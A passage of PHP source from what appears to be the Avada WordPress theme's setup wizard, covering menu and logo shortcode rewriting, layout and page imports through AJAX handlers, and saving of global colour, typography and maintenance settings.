$shortcode_tags; $tag = $m[2]; $attr = shortcode_parse_atts( $m[3] ); // Don't import if menu is flay-out or split. if ( isset( $attr['class'] ) && ( 'avada-flyout-menu' === $attr['class'] || 'avada-split-menu' === $attr['class'] ) ) { $attr['class'] = 'avada-main-menu'; } // Main menu worked out by CSS class. if ( ! isset( $attr['class'] ) || 'avada-main-menu' !== $attr['class'] ) { return $m[0]; } $menu_name = $this->menu_name; // If first menu used, use the second one, for header with split menus. if ( 1 === $this->imported_menus ) { $menu_name = $this->menu_name_2; } $our_menu = wp_get_nav_menu_object( $menu_name ); if ( ! is_object( $our_menu ) ) { return $m[0]; } // No menu set, add it after css class. if ( ! isset( $attr['menu'] ) ) { return str_replace( 'class="avada-main-menu"', 'class="" menu="' . $our_menu->slug . '"', $m[0] ); } // Flag it so the menu is not imported since we don't need it. $this->menu_ignore[] = $attr['menu']; // Increases the imported menus count. $this->imported_menus++; // Menu arg is set, replace. $m[0] = str_replace( 'class="avada-main-menu"', 'class=""', $m[0] ); return str_replace( 'menu="' . $attr['menu'] . '"', 'menu="' . $our_menu->slug . '"', $m[0] ); } /** * Look for buttons and replace markup accordingly. * * @access public * @since 7.7 * @param mixed $m The markup. */ public function process_buttons( $m ) { global $shortcode_tags; $tag = $m[2]; $attr = shortcode_parse_atts( $m[3] ); // check for class. if ( ! isset( $attr['class'] ) || 'avada-contact-button' !== $attr['class'] ) { return $m[0]; } $pages = get_option( 'avada_setup_wizard_new_pages' ); $contact_page_link = isset( $pages['contact'] ) ? get_page_link( $pages['contact'] ) : ''; if ( ! $contact_page_link ) { return $m[0]; } // No link set, add it after css class. if ( ! isset( $attr['link'] ) ) { return str_replace( 'class="avada-contact-button"', 'class="" link="' . $contact_page_link . '"', $m[0] ); } // Link arg is set, replace. $m[0] = str_replace( 'class="avada-contact-button"', 'class=""', $m[0] ); return str_replace( 'link="' . $attr['link'] . '"', 'link="' . $contact_page_link . '"', $m[0] ); } /** * Look for logo images and replace markup accordingly. * * @access public * @since 7.7 * @param mixed $m The markup. */ public function process_images( $m ) { global $shortcode_tags; $tag = $m[2]; $attr = shortcode_parse_atts( $m[3] ); // No dynamic param, its not a logo. if ( ! isset( $attr['dynamic_params'] ) ) { return $m[0]; } $dynamic_params = json_decode( base64_decode( $attr['dynamic_params'] ), true ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions if ( ! isset( $dynamic_params['link']['data'] ) || 'site_url' !== $dynamic_params['link']['data'] ) { return $m[0]; } if ( 'text' === $this->logo_url ) { $color = isset( $dynamic_params['link']['color'] ) && '' !== $dynamic_params['link']['color'] ? $dynamic_params['link']['color'] : 'var(--awb-color8)'; $shortcode_attributes = [ 'font_size' => '36px', 'margin_top' => isset( $attr['margin_top'] ) && '' !== $attr['margin_top'] ? $attr['margin_top'] : '0px', 'margin_bottom' => isset( $attr['margin_bottom'] ) && '' !== $attr['margin_bottom'] ? $attr['margin_bottom'] : '0px', 'content_align' => isset( $attr['align'] ) && '' !== $attr['align'] ? $attr['align'] : 'left', 'title_link' => 'on', 'text_color' => $color, 'link_color' => $color, 'link_hover_color' => $color, 'dynamic_params' => base64_encode( // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions wp_json_encode( [ 'element_content' => [ 'data' => 'site_title' ], 'link_url' => [ 'data' => 'site_url' ], ] ) ), ]; $param_string = ''; foreach ( $shortcode_attributes as $param => $value ) { $param_string .= ' ' . $param . '="' . $value . '"'; } return '[fusion_title' . $param_string . ']' . $this->site_title . '[/fusion_title]'; } $attr['image_id'] = $this->logo_id; $param_string = ''; foreach ( $attr as $param => $value ) { $param_string .= ' ' . $param . '="' . $value . '"'; } return '[fusion_imageframe' . $param_string . ']' . $this->logo_url . '[/fusion_imageframe]'; } /** * Create a menu based on pages that have been created. * * @access public * @since 7.4 * @param mixed $pages The pages. * @param mixed $header_id The header id. */ public function create_menu( $pages = [], $header_id = '' ) { // Create the actual menu. $menu_exists = wp_get_nav_menu_object( $this->menu_name ); if ( $menu_exists ) { wp_delete_nav_menu( $menu_exists ); } $this->menu_id = wp_create_nav_menu( $this->menu_name ); $special_menu = $this->special_menu( $header_id, 'fusion_tb_section' ); $top_item = ''; if ( 'flyout' === $special_menu ) { $top_item_data = [ 'menu-item-title' => 'Icon', 'menu-item-url' => '#', 'menu-item-status' => 'publish', 'menu-item-type' => 'custom', ]; $top_item = wp_update_nav_menu_item( $this->menu_id, 0, $top_item_data ); if ( $top_item && ! is_wp_error( $top_item ) ) { $this->update_fusion_menu_item_meta( $top_item, 'icon', 'fa-bars fas' ); $this->update_fusion_menu_item_meta( $top_item, 'icononly', 'icononly' ); } } if ( 'split' === $special_menu ) { $chunk_size = ceil( count( $pages ) / 2 ); $splitted_pages = array_chunk( $pages, $chunk_size, true ); // Use first chunk to the current menu. $pages = isset( $splitted_pages[0] ) ? $splitted_pages[0] : $pages; // Create new menu for the other side with the second chunk. $menu_exists = wp_get_nav_menu_object( $this->menu_name_2 ); if ( $menu_exists ) { wp_delete_nav_menu( $menu_exists ); } $second_menu_id = wp_create_nav_menu( $this->menu_name_2 ); $second_menu_pages = isset( $splitted_pages[1] ) ? $splitted_pages[1] : []; foreach ( $second_menu_pages as $s_page_id => $s_page_title ) { $s_item_data = [ 'menu-item-title' => esc_html( $s_page_title ), 'menu-item-object' => 'page', 'menu-item-object-id' => (int) str_replace( 'menu-item-', '', $s_page_id ), 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish', ]; wp_update_nav_menu_item( $second_menu_id, 0, $s_item_data ); } } foreach ( $pages as $page_id => $page_title ) { $item_data = [ 'menu-item-title' => esc_html( $page_title ), 'menu-item-object' => 'page', 'menu-item-object-id' => (int) str_replace( 'menu-item-', '', $page_id ), 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish', ]; if ( $top_item && ! is_wp_error( $top_item ) ) { $item_data['menu-item-parent-id'] = $top_item; } wp_update_nav_menu_item( $this->menu_id, 0, $item_data ); } } /** * Create layouts and save layout sections. * * @access public * @since 7.7 */ public function ajax_save_layouts() { // Early exit if AWB is not active. if ( ! class_exists( 'Fusion_Template_Builder' ) || ! class_exists( 'AWB_Studio_Import' ) ) { return wp_send_json_error(); } $this->check_nonce(); $has_setup_run_before = get_option( 'avada_setup_wizard_done', false ); // If its dark mode flip the content variables. $this->dark = isset( $_POST['dark_light'] ) && 'dark' === $_POST['dark_light']; // phpcs:ignore WordPress.Security.NonceVerification $replacements = $this->dark ? $this->color_flip : []; $this->logo_url = isset( $_POST['logo_url'] ) && '' !== $_POST['logo_url'] ? sanitize_text_field( wp_unslash( $_POST['logo_url'] ) ) : 'text'; // phpcs:ignore WordPress.Security.NonceVerification $this->logo_id = isset( $_POST['logo_id'] ) ? sanitize_text_field( wp_unslash( $_POST['logo_id'] ) ) : 0; // phpcs:ignore WordPress.Security.NonceVerification $this->site_title = isset( $_POST['site_title'] ) ? sanitize_text_field( wp_unslash( $_POST['site_title'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification // Temporary, need to work out how to do this. AWB_Studio_Import()->update_post = true; // Set import options. AWB_Studio_Import()->set_import_options( [ 'images' => 'dont-import-images', ] ); // Layout object. $layouts = Fusion_Template_Builder(); $global_layout = $layouts::get_default_layout(); // Import header. $header_id = isset( $_POST['header'] ) && ! empty( $_POST['header'] ) ? sanitize_text_field( wp_unslash( $_POST['header'] ) ) : '2157'; // phpcs:ignore WordPress.Security.NonceVerification $header_options = isset( $_POST['header_options'] ) && ! empty( $_POST['header_options'] ) ? json_decode( sanitize_text_field( wp_unslash( $_POST['header_options'] ) ), true ) : []; // phpcs:ignore WordPress.Security.NonceVerification // Set import options. AWB_Studio_Import()->set_import_options( [ 'type' => isset( $header_options['overwrite-type'] ) ? $header_options['overwrite-type'] : 'inherit', 'images' => isset( $header_options['images'] ) ? $header_options['images'] : 'do-import-images', 'invert' => isset( $header_options['invert'] ) ? $header_options['invert'] : 'dont-invert', ] ); $post_details = AWB_Studio_Import()->import_post( [ 'post_id' => $header_id, 'post_type' => 'fusion_tb_section', ], [], true, $replacements ); $global_layout['template_terms']['header'] = $post_details['post_id']; // Import footer. $footer_id = isset( $_POST['footer'] ) && ! empty( $_POST['footer'] ) ? sanitize_text_field( wp_unslash( $_POST['footer'] ) ) : '2160'; // phpcs:ignore WordPress.Security.NonceVerification $footer_options = isset( $_POST['footer_options'] ) && ! empty( $_POST['footer_options'] ) ? json_decode( sanitize_text_field( wp_unslash( $_POST['footer_options'] ) ), true ) : []; // phpcs:ignore WordPress.Security.NonceVerification // Set import options. AWB_Studio_Import()->set_import_options( [ 'type' => isset( $footer_options['overwrite-type'] ) ? $footer_options['overwrite-type'] : 'inherit', 'images' => isset( $footer_options['images'] ) ? $footer_options['images'] : 'do-import-images', 'invert' => isset( $footer_options['invert'] ) ? $footer_options['invert'] : 'dont-invert', ] ); $post_details = AWB_Studio_Import()->import_post( [ 'post_id' => $footer_id, 'post_type' => 'fusion_tb_section', ], [], true, $replacements ); $global_layout['template_terms']['footer'] = $post_details['post_id']; // Import hidden layouts ( search & 404 ). $hidden_layouts = [ 'section_layouts' => [ [ 'title' => __( 'Search Page Content', 'Avada' ), 'studio_id' => 2233, ], [ 'title' => __( '404 Page Content', 'Avada' ), 'studio_id' => 2232, ], ], 'layouts' => [ [ 'title' => __( 'Search Page', 'Avada' ), 'template_terms' => [ 'content' => 2233, ], 'conditions' => [ 'search_results' => [ 'label' => 'Search Results', 'type' => 'archives', 'mode' => 'include', 'archives' => 'search_results', ], ], ], [ 'title' => __( '404 Page', 'Avada' ), 'template_terms' => [ 'content' => 2232, ], 'conditions' => [ 'not_found' => [ 'label' => '404 Page', 'type' => 'singular', 'mode' => 'include', 'singular' => 'not_found', ], ], ], ], ]; if ( isset( $hidden_layouts['section_layouts'] ) && is_array( $hidden_layouts['section_layouts'] ) ) { foreach ( $hidden_layouts['section_layouts'] as $hl_section ) { $hl_section_title = isset( $hl_section['title'] ) ? $hl_section['title'] : ''; $hl_section_studio_id = isset( $hl_section['studio_id'] ) ? $hl_section['studio_id'] : ''; $hl_section_post_type = 'fusion_tb_section'; AWB_Studio_Import()->import_post( [ 'post_id' => $hl_section_studio_id, 'post_type' => $hl_section_post_type, ], [ 'post_title' => $hl_section_title, ], true, $replacements ); } } if ( $hidden_layouts['layouts'] && is_array( $hidden_layouts['layouts'] ) && ! $has_setup_run_before ) { foreach ( $hidden_layouts['layouts'] as $hl_layout ) { $hl_layout_title = isset( $hl_layout['title'] ) ? $hl_layout['title'] : ''; $hl_layout_template_terms = isset( $hl_layout['template_terms'] ) ? $hl_layout['template_terms'] : []; $hl_layout_conditions = isset( $hl_layout['conditions'] ) ? $hl_layout['conditions'] : []; // get the curren template terms IDs. $hl_updated_template_terms = []; foreach ( $hl_layout_template_terms as $template_name => $template_id ) { $args = [ 'post_type' => 'fusion_tb_section', 'meta_key' => '_avada_studio_post', // phpcs:ignore WordPress.DB.SlowDBQuery 'meta_value' => $template_id, // phpcs:ignore WordPress.DB.SlowDBQuery ]; $template_query = new WP_Query( $args ); if ( $template_query->have_posts() ) { $hl_updated_template_terms[ $template_name ] = $template_query->posts[0]->ID; } } $this->add_layout( $hl_layout_title, $hl_updated_template_terms, $hl_layout_conditions ); } } // Set content imported to true to avoid multiple imports. update_option( 'avada_setup_wizard_done', true ); // Update global layout selection. $layouts::update_default_layout( $global_layout ); wp_send_json_success(); } /** * Imports selected pages. * * @access public * @since 7.7 */ public function ajax_import_pages() { // Early exit if AWB is not active. if ( ! class_exists( 'Fusion_Template_Builder' ) || ! class_exists( 'AWB_Studio_Import' ) ) { return wp_send_json_error(); } $this->check_nonce(); // Temporary, need to work out how to do this. AWB_Studio_Import()->update_post = true; // Set import options. AWB_Studio_Import()->set_import_options( [ 'images' => 'dont-import-images', ] ); // For dummy content import. $pages = isset( $_POST['pages'] ) ? wp_unslash( $_POST['pages'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $this->dark = isset( $_POST['dark_light'] ) && 'dark' === $_POST['dark_light']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $dummy_content = isset( $_POST['dummy_content'] ) ? wp_unslash( $_POST['dummy_content'] ) : false; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $scheme = isset( $_POST['scheme'] ) ? wp_unslash( $_POST['scheme'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $header_id = isset( $_POST['header'] ) && ! empty( $_POST['header'] ) ? sanitize_text_field( wp_unslash( $_POST['header'] ) ) : '2157'; // phpcs:ignore WordPress.Security.NonceVerification $is_dummy_content_imported = get_option( 'avada_setup_wizard_dummy_content', false ); $has_setup_run_before = get_option( 'avada_setup_wizard_done', false ); $this->menu_items = []; $new_pages = []; // If its dark mode flip the content variables. $replacements = $this->dark ? $this->color_flip : []; if ( 'true' === $dummy_content ) { $this->svg_dynamic_placeholder( $scheme ); if ( $is_dummy_content_imported ) { $this->update_dummy_content_image( $pages ); } else { // Add dummy content. $this->import_dummy_content( $pages, $scheme ); } } // For pages import. foreach ( $pages as $page ) { $context = isset( $page['id'] ) ? $page['id'] : ''; $title = isset( $page['title'] ) ? $page['title'] : ''; $studio_id = isset( $page['studio_id'] ) ? $page['studio_id'] : ''; $post_type = isset( $page['post_type'] ) ? $page['post_type'] : 'page'; $content_pages = isset( $page['pages'] ) ? $page['pages'] : ''; $section_layouts = isset( $page['section_layouts'] ) ? $page['section_layouts'] : ''; $layouts = isset( $page['layouts'] ) ? $page['layouts'] : ''; $content = isset( $page['content'] ) ? $page['content'] : ''; if ( $studio_id ) { $new_page = AWB_Studio_Import()->import_post( [ 'post_id' => $studio_id, 'post_type' => 'fusion_template', ], [ 'post_type' => $post_type, 'post_title' => $title, ], true, $replacements ); } else { if ( 'shop' === $context ) { $shop_page_id = get_option( 'woocommerce_shop_page_id' ); $cart_page_id = get_option( 'woocommerce_cart_page_id' ); $checkout_page_id = get_option( 'woocommerce_checkout_page_id' ); if ( $shop_page_id ) { $new_page = [ 'post_id' => $shop_page_id, ]; } else { // Shop page. $new_page = $this->insert_post( $title, $content, $post_type ); $shop_page_id = (int) $new_page['post_id']; update_option( 'woocommerce_shop_page_id', $shop_page_id ); } if ( ! $cart_page_id ) { $cart_page = $this->insert_post( __( 'Cart', 'Avada' ), '[woocommerce_cart]', 'page' ); $cart_page_id = (int) $cart_page['post_id']; update_option( 'woocommerce_cart_page_id', (int) $cart_page['post_id'] ); } if ( ! $checkout_page_id ) { $cart_page = $this->insert_post( __( 'Checkout', 'Avada' ), '[woocommerce_checkout]', 'page' ); $checkout_page_id = (int) $cart_page['post_id']; update_option( 'woocommerce_checkout_page_id', (int) $cart_page['post_id'] ); } $shop_studio_id = isset( $page['shop'] ) ? $page['shop'] : ''; $cart_studio_id = isset( $page['cart'] ) ? $page['cart'] : ''; $checkout_studio_id = isset( $page['checkout'] ) ? $page['checkout'] : ''; // Import cart page. if ( $shop_studio_id ) { AWB_Studio_Import()->import_post( [ 'post_id' => $shop_studio_id, 'post_type' => 'fusion_template', ], [ 'post_id' => $shop_page_id, 'post_type' => 'page', 'post_title' => $title, ], true, $replacements ); fusion_data()->post_meta( $shop_page_id )->set( 'show_wc_shop_loop', 'no' ); } // Import cart page. if ( $cart_studio_id ) { AWB_Studio_Import()->import_post( [ 'post_id' => $cart_studio_id, 'post_type' => 'fusion_template', ], [ 'post_id' => $cart_page_id, 'post_type' => 'page', 'post_title' => __( 'Cart', 'Avada' ), ], true, $replacements ); } // Import checkout page. if ( $checkout_studio_id ) { AWB_Studio_Import()->import_post( [ 'post_id' => $checkout_studio_id, 'post_type' => 'fusion_template', ], [ 'post_id' => $checkout_page_id, 'post_type' => 'page', 'post_title' => __( 'Checkout', 'Avada' ), ], true, $replacements ); } } else { $new_page = $this->insert_post( $title, $content, $post_type ); } } if ( 'homepage' === $context ) { update_option( 'page_on_front', (int) $new_page['post_id'] ); update_option( 'show_on_front', 'page' ); } $this->menu_items[ 'menu-item-' . (string) $new_page['post_id'] ] = $title; // If starter header don't add contact page to the menu. if ( '2157' === $header_id && 'contact' === $context ) { unset( $this->menu_items[ 'menu-item-' . (string) $new_page['post_id'] ] ); } $new_pages[ $context ] = (int) $new_page['post_id']; // Insert Pages if exists. if ( $content_pages && is_array( $content_pages ) ) { foreach ( $content_pages as $page ) { $page_title = isset( $page['title'] ) ? $page['title'] : ''; $page_content = isset( $page['content'] ) ? $page['content'] : ''; $page_post_type = 'page'; $new_page = $this->insert_post( $page_title, $page_content, $page_post_type ); } } // Insert Section layouts if exists. if ( $section_layouts && is_array( $section_layouts ) ) { foreach ( $section_layouts as $section ) { $section_title = isset( $section['title'] ) ? $section['title'] : ''; $section_studio_id = isset( $section['studio_id'] ) ? $section['studio_id'] : ''; $section_post_type = 'fusion_tb_section'; AWB_Studio_Import()->import_post( [ 'post_id' => $section_studio_id, 'post_type' => $section_post_type, ], [ 'post_title' => $section_title, ], true, $replacements ); } } // Insert Layouts if exists. if ( $layouts && is_array( $layouts ) && ! $has_setup_run_before ) { foreach ( $layouts as $layout ) { $layout_title = isset( $layout['title'] ) ? $layout['title'] : ''; $layout_template_terms = isset( $layout['template_terms'] ) ? $layout['template_terms'] : []; $layout_conditions = isset( $layout['conditions'] ) ? $layout['conditions'] : []; // get the curren template terms IDs. $updated_template_terms = []; foreach ( $layout_template_terms as $template_name => $template_id ) { $args = [ 'post_type' => 'fusion_tb_section', 'meta_key' => '_avada_studio_post', // phpcs:ignore WordPress.DB.SlowDBQuery 'meta_value' => $template_id, // phpcs:ignore WordPress.DB.SlowDBQuery ]; $template_query = new WP_Query( $args ); if ( $template_query->have_posts() ) { $updated_template_terms[ $template_name ] = $template_query->posts[0]->ID; } } $this->add_layout( $layout_title, $updated_template_terms, $layout_conditions ); } } } // Create the menu. if ( ! empty( $this->menu_items ) ) { $this->create_menu( $this->menu_items, $header_id ); } // Temporary save new pages. update_option( 'avada_setup_wizard_new_pages', $new_pages ); wp_send_json_success(); } /** * Sets site's title and description, clears cache, flushes permalinks and etc. * * @access public * @since 7.7 */ public function ajax_finalise_scratch_setup() { $this->check_nonce(); $this->site_title = isset( $_POST['site_title'] ) ? sanitize_text_field( wp_unslash( $_POST['site_title'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification $site_tagline = isset( $_POST['site_tagline'] ) ? sanitize_text_field( wp_unslash( $_POST['site_tagline'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification // Update site details. update_option( 'blogname', $this->site_title ); update_option( 'blogdescription', $site_tagline ); // Delete temporary options. delete_option( 'avada_setup_wizard_new_pages' ); // Clear cache. fusion_reset_all_caches(); // Flush permalinks. flush_rewrite_rules(); wp_send_json_success(); } /** * Is string JSON? * * @access public * @since 3.7 * @param string $string The string. * @return boolean */ public function is_json( $string ) { if ( is_array( $string ) ) { return false; } json_decode( $string ); return JSON_ERROR_NONE === json_last_error(); } /** * Save color, typography and maintenance global options. * * @access public * @since 7.7 */ public function ajax_save_globals() { $this->check_nonce(); $scheme = isset( $_POST['scheme'] ) ? wp_unslash( $_POST['scheme'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $typo_set = isset( $_POST['typo_set'] ) ? wp_unslash( $_POST['typo_set'] ) : []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $ratio = isset( $_POST['sizing_ratio'] ) ? (float) $_POST['sizing_ratio'] : 1.333; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification $base = isset( $_POST['base_size'] ) ? (float) $_POST['base_size'] : 16; // phpcs:ignore WordPress.Security.NonceVerification $maintenance = isset( $_POST['maintenance'] ) ? wp_unslash( $_POST['maintenance'] ) : 'false'; // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput $dark = ( isset( $_POST['dark_light'] ) && 'dark' === $_POST['dark_light'] ); // phpcs:ignore WordPress.Security.NonceVerification $sizes['h6_typography'] = $base; $sizes['h5_typography'] = ceil( $sizes['h6_typography'] * $ratio ); $sizes['h4_typography'] = ceil( $sizes['h5_typography'] * $ratio ); $sizes['h3_typography'] = ceil( $sizes['h4_typography'] * $ratio ); $sizes['h2_typography'] = ceil( $sizes['h3_typography'] * $ratio ); $sizes['h1_typography'] = ceil( $sizes['h2_typography'] * $ratio ); $small_size = ceil( 0.8125 * $base ); $subheading_size = ceil( 1.5 * $base ); $light_colors_1 = [ 'awb-color1', 'awb-color2', 'awb-color3', 'awb-color4', ]; $light_colors_2 = [ 'awb-color5', 'awb-color6', 'awb-color7', 'awb-color8', ]; $dark_colors_1 = array_reverse( $light_colors_2 ); $dark_colors_2 = array_reverse( $light_colors_1 ); $avada_options = apply_filters( 'fusion_settings_all_fields', [] ); $saved_options = get_option( Fusion_Settings::get_option_name(), [] ); $saved_options_are_empty = ( empty( $saved_options ) ? true : false ); // Set typography and colors back to variables. For dark mode flip and also set heading font size. foreach ( $avada_options as $option ) { if ( 'typography' === $option['type'] ) { // No value saved, it is an array. if ( ! isset( $saved_options[ $option['id'] ] ) ) { $saved_options[ $option['id'] ] = []; } // Set each value from default. if ( is_array( $option['default'] ) ) { foreach ( $option['default'] as $param => $value ) { if ( 'color' === $param && $dark ) { $saved_options[ $option['id'] ][ $param ] = str_replace( $light_colors_1, $dark_colors_1, $value ); // Unchanged, try second half of colors. Split to avoid double replacing. if ( $saved_options[ $option['id'] ][ $param ] === $value ) { $saved_options[ $option['id'] ][ $param ] = str_replace( $light_colors_2, $dark_colors_2, $value ); } } else { $saved_options[ $option['id'] ][ $param ] = $value; } } } // Set font size based on scale. if ( isset( $sizes[ $option['id'] ] ) ) { $saved_options[ $option['id'] ]['font-size'] = (string) round( $sizes[ $option['id'] ], 2 ) . 'px'; } } elseif ( ( 'color-alpha' === $option['type'] || 'color' === $option['type'] ) && isset( $option['default'] ) ) { if ( $dark ) { $saved_options[ $option['id'] ] = str_replace( $light_colors_1, $dark_colors_1, $option['default'] ); // Unchanged, try second half of colors. Split to avoid double replacing. if ( $saved_options[ $option['id'] ] === $option['default'] ) { $saved_options[ $option['id'] ] = str_replace( $light_colors_2, $dark_colors_2, $option['default'] ); } // Reverse the lightness if necessary. if ( false !== strpos( $saved_options[ $option['id'] ], 'hsla' ) ) { $hsla_flip = [ '-l) -' => '-x) -', '-l) +' => '-l) -', '-x) -' => '-l) +', ]; $saved_options[ $option['id'] ] = str_replace( array_keys( $hsla_flip ), array_values( $hsla_flip ), $saved_options[ $option['id'] ] ); } } else { $saved_options[ $option['id'] ] = $option['default']; } } elseif ( isset( $option['default'] ) && $saved_options_are_empty ) { $saved_options[ $option['id'] ] = $option['default']; } } // Set the color palette. $saved_options['color_palette'] = AWB_Global_Colors()->get_palette(); foreach ( $scheme as $color_slug => $value ) { if ( ! is_array( $value ) ) { $value = []; } if ( ! isset( $value['color'] ) ) { $value['color'] = '#ffffff'; } if ( ! isset( $value['label'] ) ) { $value['label'] = __( 'Color', 'Avada' ); } $saved_options['color_palette'][ $color_slug ] = $value; } // Map the option naming. $set_data = [ 'headings' => 'typography1', 'subheadings' => 'typography2', 'lead' => 'typography3', 'body' => 'typography4', 'small' => 'typography5', ]; // Set the typography sets. $saved_options['typography_sets'] = AWB_Global_Typography()->get_typography(); foreach ( $typo_set as $subset => $data ) { $set_name = $set_data[ $subset ]; // We only want italic as style. $data['font-style'] = isset( $data['font-style'] ) && 'italic' === $data['font-style'] ? 'italic' : ''; foreach ( $data as $param => $value ) { $set_parameter = str_replace( '_', '-', $param ); $set_value = $value; if ( 'font-size' === $set_parameter ) { if ( 'body' === $subset || 'lead' === $subset ) { $set_value = round( $base, 2 ) . 'px'; } if ( 'headings' === $subset ) { $set_value = round( $sizes['h1_typography'], 2 ) . 'px'; } if ( 'subheadings' === $subset ) { $set_value = $subheading_size . 'px'; } if ( 'small' === $subset ) { $set_value = $small_size . 'px'; } } $saved_options['typography_sets'][ $set_name ][ $set_parameter ] = $set_value; } $saved_options['typography_sets'][ $set_name ]['variant'] = (int) $saved_options['typography_sets'][ $set_name ]['font-weight'] . $data['font-style']; } if ( 'true' === $maintenance ) { $saved_options['maintenance_mode'] = 'coming_soon'; $saved_options['maintenance_template'] = '0'; $saved_options['maintenance_user_roles'] = [ 'administrator' ]; } // Save the new globals. update_option( Fusion_Settings::get_option_name(), $saved_options ); wp_send_json_success( $saved_options ); } /** * Save maintenance global options. * * @access public * @since 7.9 * @return void */ public function ajax_save_globals_maintenance() { $this->check_nonce(); $is_updated = false; $maintenance = isset( $_POST['maintenance'] ) ? wp_unslash( $_POST['maintenance'] ) : 'false'; // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput if ( 'true' === $maintenance ) { $saved_options = get_option( Fusion_Settings::get_option_name(), [] ); $saved_options['maintenance_mode'] = 'coming_soon'; $saved_options['maintenance_template'] = '0'; $saved_options['maintenance_user_roles'] = [ 'administrator' ]; // Save the new globals. update_option( Fusion_Settings::get_option_name(), $saved_options ); $is_updated = true; } wp_send_json_success( $is_updated ); } /** * Return global value instead of usual page option. * * @access public * @param string $value The value. * @param int $id The ID. * @return string */ public function global_value( $value, $id ) { $settings = awb_get_fusion_settings(); return $settings->get( $id ); } /** * Override root so IDs are correct. * * @access public * @param string $name The name. * @param int $id The ID. * @return string */ public function global_name( $name, $id ) { return str_replace( '[]', '', ltrim( $id, '_' ) ); } /** * Enequeue required scripts. * * @access public * @return void */ public function add_scripts() { $version = Avada::get_theme_version(); wp_enqueue_style( 'awb_wizard_css', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/css/awb-wizard.css', [], $version ); wp_enqueue_style( 'awb_setup_css', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/css/awb-setup-wizard.css', [], $version ); wp_enqueue_script( 'webfont-loader', FUSION_LIBRARY_URL . '/inc/fusion-app/assets/js/webfontloader.js', [], '1.6.28', false ); wp_register_script( 'fuse-script', FUSION_LIBRARY_URL . '/assets/min/js/library/fuse.js', [], AVADA_VERSION, true ); wp_enqueue_script( 'lazysizes', FUSION_LIBRARY_URL . '/assets/min/js/library/lazysizes.js', [], AVADA_VERSION, true ); wp_register_script( 'awb-studio-modal', Avada::$template_dir_url . '/assets/admin/js/awb-studio-modal.js', [ 'jquery', 'fuse-script' ], $version, false ); AWB_Global_Colors()->enqueue(); AWB_Global_Typography()->enqueue(); wp_enqueue_script( 'awb_setup_js', trailingslashit( Avada::$template_dir_url ) . 'assets/admin/js/awb-setup-wizard.js', [ 'jquery', 'webfont-loader', 'fuse-script', 'wp-util', 'shortcode', 'awb-studio-modal', 'jquery-color' ], $version, true ); wp_localize_script( 'awb_setup_js', 'fusionBuilderText', fusion_app_textdomain_strings() ); wp_localize_script( 'awb_setup_js', 'awbSetup', [ 'saveChange' => __( 'Do you want to proceed without saving changes?', 'Avada' ), 'isRegistered' => Avada()->registration->is_registered(), 'studioData' => class_exists( 'AWB_Studio' ) ? AWB_Studio()->get_data() : [], 'studioURL' => class_exists( 'AWB_Studio' ) ? AWB_Studio()->get_studio_url() : '', 'colors404Message' => __( 'Sorry, the color schemes couldn\'t load because the server didn\'t respond.', 'Avada' ), ] ); wp_enqueue_script( 'jquery.biscuit', Avada::$template_dir_url . '/assets/admin/js/jquery.biscuit.js', [ 'jquery' ], $version, false ); wp_register_script( 'avada_upload', Avada::$template_dir_url . '/assets/admin/js/upload.js', [ 'jquery' ], $version, false ); wp_enqueue_media(); // Select field assets. wp_dequeue_script( 'tribe-events-select2' ); wp_enqueue_style( 'select2-css', Avada::$template_dir_url . '/assets/admin/css/select2.css', [], $version, 'all' ); wp_enqueue_script( 'selectwoo-js', Avada::$template_dir_url . '/assets/admin/js/selectWoo.full.min.js', [ 'jquery' ], $version, false ); // Range field assets. wp_enqueue_style( 'avadaredux-nouislider-css', FUSION_LIBRARY_URL . '/inc/redux/framework/FusionReduxCore/inc/fields/slider/vendor/nouislider/fusionredux.jquery.nouislider.css', [], $version, 'all' ); wp_enqueue_script( 'avadaredux-nouislider-js', Avada::$template_dir_url . '/assets/admin/js/jquery.nouislider.min.js', [ 'jquery' ], $version, true ); wp_enqueue_script( 'wnumb-js', Avada::$template_dir_url . '/assets/admin/js/wNumb.js', [ 'jquery' ], $version, true ); // Color fields. if ( function_exists( 'AWB_Global_Colors' ) ) { AWB_Global_Colors()->enqueue(); } // Option type JS. wp_enqueue_script( 'avada-fusion-options', Avada::$template_dir_url . '/assets/admin/js/avada-fusion-options.js', [ 'jquery', 'jquery-ui-sortable', 'avada_upload' ], $version, false ); // Studio preview. wp_enqueue_script( 'fusion-admin-notices', trailingslashit( Fusion_Scripts::$js_folder_url ) . 'general/awb-studio-preview-admin.js', [ 'jquery' ], $version, false ); } /** * Check if nonce is valid. * * @access public */ public function check_nonce() { check_admin_referer( 'awb_setup_nonce', 'awb_setup_nonce' ); } /** * Get typography CSS variables for data. * * @access public * @param array $data The data. */ public function get_typo_vars( $data = [] ) { $variables = 'style="'; foreach ( $data as $key => $values ) { if ( ! empty( $values ) && is_array( $values ) ) { foreach ( $values as $param => $value ) { if ( '' !== $value ) { $variables .= '--' . $key . '_' . $param . ':' . $value . ';'; } } } } return $variables . '"'; } /** * Get typography set data. * * @access public */ public function get_typo_sets() { global $wp_filesystem; if ( null !== $this->typo_data ) { return $this->typo_data; } $response = wp_remote_get( 'https://updates.theme-fusion.com/wp-json/setup_data/typography/', [ 'user-agent' => 'avada-user-agent', ] ); // Check for error. if ( ! is_wp_error( $response ) ) { $response_code = (int) 